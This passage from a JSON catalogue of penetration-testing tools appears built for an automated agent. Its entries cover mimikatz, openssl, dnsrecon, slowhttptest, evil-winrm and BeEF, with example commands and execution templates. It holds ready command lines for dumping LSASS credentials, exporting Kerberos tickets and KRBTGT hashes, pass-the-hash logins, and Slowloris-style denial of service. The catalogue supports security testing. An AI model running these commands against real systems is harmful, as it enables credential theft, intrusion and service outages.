        "description": "Disable PPL (Protected Process Light) before dumping",
        "command": "mimikatz \"!+\" \"privilege::debug\" \"sekurlsa::logonpasswords\" exit"
      },
      {
        "description": "Extract credentials from a LSASS dump file",
        "command": "mimikatz \"sekurlsa::minidump lsass.dmp\" \"sekurlsa::logonpasswords\" exit"
      },
      {
        "description": "Extract credentials from volume shadow copy",
        "command": "mimikatz \"lsadump::sam /server:$(hostname)\" exit"
      },
      {
        "description": "Extract Kerberos tickets",
        "command": "mimikatz \"privilege::debug\" \"sekurlsa::tickets /export\" exit"
      },
      {
        "description": "Extract domain SID and KRBTGT hash for golden ticket",
        "command": "mimikatz \"privilege::debug\" \"lsadump::lsa /inject /id:502\" exit"
      },
      {
        "description": "Pass-the-hash to RDP session",
        "command": "mimikatz \"privilege::debug\" \"sekurlsa::pth /user:admin /domain:evilcorp /ntlm:<HASH> /run:mstsc.exe /restrictedadmin\""
      },
      {
        "description": "DPAPI master key extraction",
        "command": "mimikatz \"privilege::debug\" \"sekurlsa::dpapi\" exit"
      }
    ],
    "execution": {
      "template": "mimikatz \"{command}\" exit",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "id": "security-credential-mimikatz",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/gentilkiwi/mimikatz.git",
        "commands": [
          "git clone https://github.com/gentilkiwi/mimikatz.git"
        ]
      }
    ],
    "items": [
      "Password",
      "Hash",
      "TGS",
      "TGT",
      "PFX"
    ],
    "mitre_ids": [
      "T1555",
      "T1003",
      "T1055"
    ],
    "name": "mimikatz",
    "namespace": "security:credential:mimikatz",
    "parameters": [
      {
        "name": "command",
        "type": "string",
        "required": true,
        "description": "Mimikatz command (e.g., sekurlsa::logonpasswords)"
      }
    ],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "mimikatz GitHub",
        "url": "https://github.com/gentilkiwi/mimikatz"
      }
    ],
    "related_tools": [
      "netexec",
      "impacket"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "services": [
      "Kerberos",
      "LDAP",
      "SMB",
      "RPC"
    ],
    "techniques": [
      "credential-access",
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# OpenSSL — Cryptographic Toolkit\n\nOpenSSL is the industry-standard cryptographic library that provides tools for SSL/TLS, certificate management, encryption, and hashing. It's essential for secure communications and data protection.\n\n## Certificate Management\n\n### Generate Certificate Authority\n```bash\n# Generate CA private key\nopenssl genrsa -out ca-key.pem 4096\n\n# Generate CA certificate\nopenssl req -x509 -new -key ca-key.pem -out ca-cert.pem -days 3650\n```\n\n### Generate Server Certificate\n```bash\n# Generate server private key\nopenssl genrsa -out server-key.pem 2048\n\n# Generate CSR\nopenssl req -new -key server-key.pem -out server.csr\n\n# Sign with CA\nopenssl x509 -req -in server.csr -CA ca-cert.pem -CAkey ca-key.pem -CAcreateserial -out server-cert.pem -days 365\n```\n\n## Encryption & Decryption\n\n```bash\n# Encrypt a file with password\nopenssl enc -aes-256-cbc -salt -in secret.txt -out secret.enc -pbkdf2\n\n# Decrypt\nopenssl enc -d -aes-256-cbc -in secret.enc -out secret.txt -pbkdf2\n\n# Encrypt with key file\nopenssl rsautl -encrypt -pubin -inkey public.pem -in plain.txt -out encrypted.bin\n```\n\n## TLS Connection Testing\n\n```bash\n# Test HTTPS connection\nopenssl s_client -connect example.com:443 -servername example.com\n\n# Show certificate chain\nopenssl s_client -connect example.com:443 -showcerts </dev/null\n\n# Test TLS version support\nopenssl s_client -tls1_2 -connect example.com:443\n```\n\n## Hashing\n\n```bash\n# Compute hash of a file\nopenssl dgst -sha256 file.txt\nopenssl sha256 file.txt\n\n# HMAC\necho -n \"data\" | openssl dgst -sha256 -hmac \"key\"\n```\n\n## Related Tools\n\n- **[certbot](../../crypto/certbot.md)** — Let's Encrypt certificate automation\n- **[cfssl](../../crypto/cfssl.md)** — CloudFlare's PKI toolkit\n- **[easyrsa](../../crypto/easyrsa.md)** — Simple CA management\n",
    "_source": "openssl.md",
    "allowed-tools": [
      "openssl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "security.certificate.pem",
        "description": "X.509 certificate (PEM or DER)",
        "mime": "application/x-pem-file",
        "schema_version": "1.0.0",
        "trust_level": "verified"
      },
      {
        "type": "security.key.private",
        "description": "Private key",
        "mime": "application/x-pem-file",
        "trust_level": "verified"
      },
      {
        "type": "security.key.public",
        "description": "Public key",
        "mime": "application/x-pem-file",
        "trust_level": "verified"
      },
      {
        "type": "security.certificate.csr",
        "description": "Certificate Signing Request",
        "mime": "application/x-pem-file",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.crypto.hash",
      "security.crypto.encrypt",
      "security.crypto.decrypt",
      "security.crypto.sign",
      "security.crypto.verify",
      "security.crypto.keygen",
      "security.crypto.certificate",
      "security.crypto.csr",
      "security.tls.connect",
      "security.tls.inspect"
    ],
    "contract": {
      "inputs": [
        {
          "type": "data.raw",
          "description": "Input data for hashing, encryption, or signing"
        },
        {
          "type": "security.key.private",
          "description": "Private key for signing or decryption"
        }
      ],
      "outputs": [
        {
          "type": "data.hashed",
          "description": "Hash or digest output"
        },
        {
          "type": "data.encrypted",
          "description": "Encrypted data"
        },
        {
          "type": "security.certificate.pem",
          "description": "Generated X.509 certificate"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Comprehensive cryptographic toolkit for SSL/TLS, certificate management, encryption, hashing, and key generation.",
    "examples": [
      {
        "description": "Generate an RSA private key",
        "command": "openssl genrsa -out private.pem 2048"
      },
      {
        "description": "Generate a self-signed certificate",
        "command": "openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes"
      },
      {
        "description": "Compute SHA-256 hash of a file",
        "command": "openssl dgst -sha256 file.txt"
      },
      {
        "description": "Encrypt a file with AES-256",
        "command": "openssl enc -aes-256-cbc -salt -in plain.txt -out encrypted.enc"
      },
      {
        "description": "Connect to an HTTPS server and inspect certificate",
        "command": "openssl s_client -connect example.com:443 -showcerts"
      },
      {
        "description": "View certificate details",
        "command": "openssl x509 -in cert.pem -text -noout"
      }
    ],
    "execution": {
      "template": "openssl {action} {algorithm} {input} {output}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "batch"
    ],
    "global_vars": {
      "target": "ip",
      "port": "port"
    },
    "id": "security-crypto-openssl",
    "install": [
      {
        "method": "apt",
        "package_name": "openssl",
        "commands": [
          "apt-get install -y openssl"
        ]
      }
    ],
    "items": [
      "PFX"
    ],
    "name": "openssl",
    "namespace": "security:crypto:openssl",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "OpenSSL documentation",
        "url": "https://www.openssl.org/docs/"
      },
      {
        "label": "OpenSSL Cookbook",
        "url": "https://www.feistyduck.com/openssl-cookbook/"
      }
    ],
    "related_tools": [
      "gnutls",
      "certbot",
      "cfssl",
      "easyrsa"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "HTTPS",
      "HTTP"
    ],
    "techniques": [
      "credential-access",
      "encryption",
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "certificate",
        "private-key",
        "csr",
        "hash-output"
      ],
      "consumes": [
        "input-data",
        "private-key"
      ]
    }
  },
  {
    "_body": "\n# dnsrecon — DNS Enumeration Script\n\ndnsrecon is a Python-based DNS enumeration tool that performs various types of DNS reconnaissance including standard record enumeration, zone transfers, SRV record discovery, subdomain bruteforce, reverse lookups, and DNSSEC testing.\n\n## Usage\n\n```bash\n# Standard enumeration\ndnsrecon -d example.com\n\n# Zone transfer\ndnsrecon -d example.com -t axfr\n\n# Brute force subdomains\ndnsrecon -d example.com -D wordlist.txt -t brt\n\n# Reverse lookup\ndnsrecon -r 10.0.0.0/24\n\n# JSON output\ndnsrecon -d example.com -j output.json\n```\n",
    "_source": "dnsrecon.md",
    "allowed-tools": [
      "dnsrecon",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "dns.records.json",
        "description": "DNS records in JSON format",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "dns.records.csv",
        "description": "DNS records in CSV format",
        "mime": "text/csv",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery",
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "dns.enum.records",
      "dns.enum.subdomain",
      "dns.enum.zone-transfer",
      "dns.enum.reverse",
      "dns.test.dnssec"
    ],
    "contract": {
      "inputs": [
        {
          "type": "domain.name",
          "description": "Target domain name"
        },
        {
          "type": "network.target.host",
          "description": "Target DNS server"
        }
      ],
      "outputs": [
        {
          "type": "dns.records.json",
          "description": "Discovered DNS records as JSON",
          "mime": "application/json"
        },
        {
          "type": "dns.records.csv",
          "description": "Discovered DNS records as CSV",
          "mime": "text/csv"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "DNS enumeration script that performs SRV record discovery, subdomain bruteforce, DNSSEC testing, zone transfer attempts, and reverse DNS lookups.",
    "examples": [
      {
        "description": "Standard DNS enumeration",
        "command": "dnsrecon -d example.com"
      },
      {
        "description": "Zone transfer attempt",
        "command": "dnsrecon -d example.com -t axfr"
      },
      {
        "description": "Reverse DNS lookup on IP range",
        "command": "dnsrecon -r 192.168.1.0/24"
      },
      {
        "description": "Subdomain bruteforce with wordlist",
        "command": "dnsrecon -d example.com -D subdomains.txt -t brt"
      },
      {
        "description": "SRV record discovery",
        "command": "dnsrecon -d example.com -t srv"
      }
    ],
    "execution": {
      "template": "dnsrecon {flag-type} {flag-threads} {flag-csv} {flag-json} {flag-db} {flag-dnsserver} {flag-range} {flag-nameserver} {flag-dictionary} {domain}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "id": "security-dns-dnsrecon",
    "install": [
      {
        "method": "apt",
        "package_name": "dnsrecon",
        "commands": [
          "apt-get install -y dnsrecon"
        ]
      },
      {
        "method": "pip",
        "package_name": "dnsrecon",
        "commands": [
          "pip install dnsrecon"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1595"
    ],
    "name": "dnsrecon",
    "namespace": "security:dns:dnsrecon",
    "parameters": [
      {
        "name": "domain",
        "type": "string",
        "required": false,
        "description": "Target domain name",
        "aliases": [
          "-d",
          "--domain"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-type",
        "type": "string",
        "required": false,
        "description": "Scan type (std, rvl, brd, brt, srv, axfr, zonewalk)",
        "aliases": [
          "-t",
          "--type"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-nameserver",
        "type": "string",
        "required": false,
        "description": "Target DNS server",
        "aliases": [
          "-n",
          "--name-server"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-range",
        "type": "string",
        "required": false,
        "description": "IP range for reverse lookup (CIDR)",
        "aliases": [
          "-r",
          "--range"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-dictionary",
        "type": "string",
        "required": false,
        "description": "Wordlist file for bruteforce",
        "aliases": [
          "-D",
          "--dictionary"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-threads",
        "type": "integer",
        "required": false,
        "description": "Number of threads for bruteforce",
        "aliases": [
          "--threads"
        ],
        "flag": "--threads"
      },
      {
        "name": "flag-csv",
        "type": "boolean",
        "required": false,
        "description": "Output in CSV format",
        "aliases": [
          "-c",
          "--csv"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-json",
        "type": "boolean",
        "required": false,
        "description": "Output in JSON format",
        "aliases": [
          "-j",
          "--json"
        ],
        "flag": "-j"
      },
      {
        "name": "flag-db",
        "type": "string",
        "required": false,
        "description": "SQLite database file for output",
        "aliases": [
          "--db"
        ],
        "flag": "--db"
      },
      {
        "name": "flag-dnsserver",
        "type": "string",
        "required": false,
        "description": "Use specified DNS server for queries",
        "aliases": [
          "-s",
          "--dnsserver"
        ],
        "flag": "-s"
      }
    ],
    "phase": "recon",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "dnsrecon GitHub",
        "url": "https://github.com/darkoperator/dnsrecon"
      }
    ],
    "related_tools": [
      "dnsenum",
      "fierce",
      "amass",
      "sublist3r",
      "dig"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "DNS"
    ],
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "dns-records",
        "zone-transfer-results"
      ],
      "consumes": [
        "target-domain",
        "target-dns-server"
      ]
    }
  },
  {
    "_body": "\n# slowhttptest — Slow HTTP DoS Testing\n\nslowhttptest is a C-based tool for testing web server resilience against Slow HTTP DoS attacks. It implements Slowloris (slow headers), Slow HTTP POST (slow body), and Slow Read attacks to exhaust server connection pools.\n\n## Usage\n\n```bash\n# Slowloris attack\nslowhttptest -c 1000 -i 10 -d 120 -t slowloris example.com\n\n# Slow HTTP POST\nslowhttptest -c 500 -i 5 -d 180 -t slowbody example.com\n\n# Slow Read over SSL\nslowhttptest -c 200 -i 10 -d 60 -t slowread -s example.com:443\n\n# Generate HTML report\nslowhttptest -c 1000 -i 10 -d 120 -t slowloris -o report example.com\n```\n",
    "_source": "slowhttptest.md",
    "allowed-tools": [
      "slowhttptest",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "dos.test.report",
        "description": "Slow HTTP test results",
        "mime": "text/html",
        "trust_level": "verified"
      },
      {
        "type": "dos.test.csv",
        "description": "Test results as CSV",
        "mime": "text/csv",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "dos.slowloris",
      "dos.slow-post",
      "dos.slow-read",
      "dos.test-resilience"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.host",
          "description": "Target hostname or IP"
        },
        {
          "type": "network.port",
          "description": "Target port (default 80 or 443)"
        }
      ],
      "outputs": [
        {
          "type": "dos.test.report",
          "description": "HTML report of DoS test",
          "mime": "text/html"
        },
        {
          "type": "dos.test.csv",
          "description": "Statistics in CSV format",
          "mime": "text/csv"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "DoS testing tool that simulates Slow HTTP attacks including Slowloris, Slow HTTP POST, and Slow Read to test server resilience against application-layer DoS.",
    "examples": [
      {
        "description": "Slowloris attack",
        "command": "slowhttptest -c 1000 -i 10 -d 120 -t slowloris -p 80 example.com"
      },
      {
        "description": "Slow HTTP POST attack",
        "command": "slowhttptest -c 500 -i 5 -d 120 -t slowbody -p 443 -s example.com"
      },
      {
        "description": "Slow Read attack",
        "command": "slowhttptest -c 200 -i 10 -d 60 -t slowread -p 443 -s example.com"
      },
      {
        "description": "SSL test with verbose output",
        "command": "slowhttptest -c 1000 -i 10 -d 180 -t slowloris -p 443 -s -v example.com"
      }
    ],
    "execution": {
      "template": "slowhttptest {flag-type} {flag-ssl} {flag-verbose} {flag-random-agent} {flag-num-connections} {flag-interval} {flag-duration} {flag-content-length} {flag-method} {flag-output} -p {flag-port} {target}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "id": "security-dos-slowhttptest",
    "install": [
      {
        "method": "apt",
        "package_name": "slowhttptest",
        "commands": [
          "apt-get install -y slowhttptest"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "slowhttptest",
    "namespace": "security:dos:slowhttptest",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target hostname or IP"
      },
      {
        "name": "flag-port",
        "type": "integer",
        "required": false,
        "description": "Target port",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-type",
        "type": "string",
        "required": false,
        "description": "Attack type (slowloris, slowbody, slowread)",
        "aliases": [
          "-t",
          "--type"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-num-connections",
        "type": "integer",
        "required": false,
        "description": "Number of connections",
        "aliases": [
          "-c",
          "--connections"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-interval",
        "type": "integer",
        "required": false,
        "description": "Interval between follow-up data in seconds",
        "aliases": [
          "-i",
          "--interval"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-duration",
        "type": "integer",
        "required": false,
        "description": "Test duration in seconds",
        "aliases": [
          "-d",
          "--duration"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-ssl",
        "type": "boolean",
        "required": false,
        "description": "Use SSL/TLS",
        "aliases": [
          "-s",
          "--ssl"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-verbose",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-output",
        "type": "string",
        "required": false,
        "description": "Output file prefix for report files",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-random-agent",
        "type": "boolean",
        "required": false,
        "description": "Random User-Agent header",
        "aliases": [
          "-r",
          "--random-agent"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-method",
        "type": "string",
        "required": false,
        "description": "HTTP method for slowbody (POST, PUT)",
        "aliases": [
          "-m",
          "--method"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-content-length",
        "type": "integer",
        "required": false,
        "description": "Content-Length header value for slowbody",
        "aliases": [
          "-l",
          "--content-length"
        ],
        "flag": "-l"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "slowhttptest GitHub",
        "url": "https://github.com/shekyan/slowhttptest"
      }
    ],
    "related_tools": [
      "nmap",
      "metasploit"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "HTTP",
      "HTTPS"
    ],
    "techniques": [
      "impact",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "dos-test-results",
        "server-stats"
      ],
      "consumes": [
        "target-host",
        "target-port"
      ]
    }
  },
  {
    "_body": "\n# evil-winrm — WinRM Shell for Pentesting\n\nevil-winrm provides an interactive PowerShell session on Windows targets via WinRM. It supports multiple authentication methods including plaintext, pass-the-hash (NTLM), and Kerberos PKINIT.\n\n## Key Features\n\n- **Upload/download** files to/from the target\n- **Pass-the-hash** with NTLM hash\n- **PKINIT** authentication with certificates\n- **Scripts** loading from local and remote sources\n- **Dynamic command completion** for common Windows tools\n\n## Authentication Methods\n\n| Method | Flags | Use Case |\n|--------|-------|----------|\n| Password | `-u user -p pass` | Plaintext credentials |\n| Pass-the-Hash | `-u user -H <NThash>` | NTLM hash without password |\n| PKINIT | `-c cert -k key -r domain` | Certificate-based authentication |\n",
    "_source": "evil-winrm.md",
    "allowed-tools": [
      "evil-winrm"
    ],
    "architectures": [
      "amd64"
    ],
    "attack_types": [
      "LateralMovement",
      "Execution"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.exec.winrm",
      "security.credential.pth",
      "security.lateral.winrm",
      "security.ad.krbauth"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address"
        },
        {
          "type": "credential.username",
          "description": "Windows username"
        },
        {
          "type": "credential.password",
          "description": "Plaintext password or NTLM hash"
        }
      ],
      "outputs": [
        {
          "type": "shell.session",
          "description": "Interactive WinRM shell session"
        }
      ],
      "side_effects": [
        "network_traffic",
        "raw_socket_access"
      ]
    },
    "dependencies": [
      "ruby"
    ],
    "description": "WinRM shell for remote Windows administration and post-exploitation, supporting plaintext, pass-the-hash, and Kerberos PKINIT authentication.",
    "examples": [
      {
        "description": "Basic WinRM shell with password authentication",
        "command": "evil-winrm -i 10.10.10.1 -u john -p password123"
      },
      {
        "description": "Pass-the-hash authentication",
        "command": "evil-winrm -i 10.10.10.1 -u john -H <NThash>"
      },
      {
        "description": "PKINIT certificate authentication",
        "command": "evil-winrm -i 10.10.10.1 -c pub.pem -k priv.pem -S -r EVILCORP"
      },
      {
        "description": "Authentication with SSL and relay domain",
        "command": "evil-winrm -i {{DOMAIN}} -u {{USER}} -p '{{PASSWORD}}'"
      },
      {
        "description": "Kerberos-based authentication",
        "command": "evil-winrm -i {{DC.DOMAIN}} -k -u {{USER}} -r {{DOMAIN}}"
      }
    ],
    "execution": {
      "template": "evil-winrm -i {target} -u {username} -p {password}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {
      "target": "ip",
      "username": "user"
    },
    "id": "security-exec-evil-winrm",
    "install": [
      {
        "method": "apt",
        "package_name": "evil-winrm",
        "commands": [
          "apt-get install -y evil-winrm"
        ]
      }
    ],
    "items": [
      "Password",
      "Hash"
    ],
    "mitre_ids": [
      "T1021"
    ],
    "name": "evil-winrm",
    "namespace": "security:exec:evil-winrm",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target IP address or hostname"
      },
      {
        "name": "username",
        "type": "string",
        "required": true,
        "description": "Username for authentication"
      },
      {
        "name": "password",
        "type": "string",
        "required": false,
        "description": "Password for plaintext auth"
      },
      {
        "name": "hash",
        "type": "string",
        "required": false,
        "description": "NTLM hash for pass-the-hash"
      },
      {
        "name": "certificate",
        "type": "file",
        "required": false,
        "description": "Public certificate file (PKINIT)"
      },
      {
        "name": "private-key",
        "type": "file",
        "required": false,
        "description": "Private key file (PKINIT)"
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "evil-winrm GitHub",
        "url": "https://github.com/Hackplayers/evil-winrm"
      }
    ],
    "related_tools": [
      "netexec",
      "impacket",
      "psexec"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "WinRM"
    ],
    "techniques": [
      "lateral-movement",
      "execution",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# BeEF — Browser Exploitation Framework\n\nBeEF (Browser Exploitation Framework) is a penetration testing tool focused on web browsers. It uses a client-side attack vector to assess browser security by hooking one or more browsers and using them as beachheads for launching further attacks.\n\n## Key Capabilities\n\n- **Browser hooking**: Hook target browsers via injected JavaScript\n- **Module system**: Hundreds of modules for reconnaissance, exploitation, and persistence\n- **Command chain**: Execute commands across hooked browsers\n- **Tunneling**: Proxy traffic through hooked browsers to bypass network controls\n- **Metasploit integration**: Pass hooked browser sessions to Metasploit\n\n## Architecture\n\nBeEF consists of:\n- **Server**: Ruby-based C2 server with RESTful API\n- **UI**: Web-based administration panel\n- **Hook**: JavaScript payload delivered to target browsers\n- **Modules**: Extensible module framework for browser attacks\n",
    "_source": "beef.md",
    "allowed-tools": [
      "beef",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "browser.exploitation",
      "browser.attack",
      "browser.hooking",
      "credential.harvesting"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.url",
          "description": "Hook URL to serve to target"
        }
      ],
      "outputs": [
        {
          "type": "browser.session",
          "description": "Hooked browser session",
          "mime": "text/plain"
        },
        {
          "type": "credential.data",
          "description": "Harvested credentials",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Browser Exploitation Framework for assessing browser security through client-side attack vectors and hooking.",
    "examples": [
      {
        "description": "Start BeEF with default config",
        "command": "beef -x config.yaml"
      },
      {
        "description": "Start BeEF on custom port",
        "command": "beef -x config.yaml -p 8080"
      },
      {
        "description": "Start BeEF with SSL enabled",
        "command": "beef -x config.yaml -s -p 443"
      },
      {
        "description": "Start BeEF daemonized",
        "command": "beef -x config.yaml -D"
      },
      {
        "description": "Start BeEF with custom UI port",
        "command": "beef -x config.yaml --ui 8081"
      },
      {
        "description": "Start BeEF in debug mode",
        "command": "beef -x config.yaml -d -v"
      },
      {
        "description": "Start BeEF on specific interface",
        "command": "beef -x config.yaml -H 10.0.0.1 -p 3000"
      }
    ],
    "execution": {
      "template": "beef -x config.yaml",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "remote"
    ],
    "global_vars": {
      "lhost": "0.0.0.0",
      "lport": "3000"
    },
    "id": "security-exploit-beef",
    "install": [
      {
        "method": "apt",
        "package_name": "beef-xss",
        "commands": [
          "apt-get install -y beef-xss"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1059",
      "T1190",
      "T1203"
    ],
    "name": "beef",
    "namespace": "security:exploit:beef",
    "parameters": [
      {
        "name": "flag-D",
        "template_key": "flag-D",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Daemonize (run in background)",
        "aliases": [
          "-D",
          "--daemon"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-H",
        "template_key": "flag-H",
        "type": "string",
        "required": false,
        "default_value": "0.0.0.0",
        "description": "Bind host/address",
        "aliases": [
          "-H",
          "--host"
        ],
        "flag": "-H"
      },
      {
        "name": "flag-P",
        "template_key": "flag-P",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Admin UI password",
        "aliases": [
          "-P",
          "--password"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Command to execute",
        "aliases": [
          "-c",
          "--cmd"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Debug mode",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Log file path",
        "aliases": [
          "-l",
          "--log"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "integer",
        "required": false,
        "default_value": 3000,
        "description": "Bind port",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable SSL",
        "aliases": [
          "-s",
          "--ssl"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-ui",
        "template_key": "flag-ui",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "UI server port",
        "aliases": [
          "--ui",
          "--ui-port"
        ],
        "flag": "--ui"
      },
      {
        "name": "flag-ui-host",
        "template_key": "flag-ui-host",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "UI server bind address",
        "aliases": [
          "--ui-host"
        ],
        "flag": "--ui-host"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": "config.yaml",
        "description": "Config file path",
        "aliases": [
          "-x",
          "--config"
        ],
        "flag": "-x"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "Enable RESTful API",
        "aliases": [
          "-r",
          "--restful"
        ],
        "flag": "-r"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "BeEF GitHub",
        "url": "https://github.com/beefproject/beef"
      },
      {
        "label": "BeEF Wiki",
        "url": "https://github.com/beefproject/beef/wiki"
      }
    ],
    "related_tools": [
      "metasploit",
      "empire",
      "setoolkit"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "execution",
      "execution",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "hooked-browsers",
        "harvested-credentials",
        "client-exploit"
      ],
      "consumes": [
        "hook-url",
        "target-browser"
      ]
    }
  },
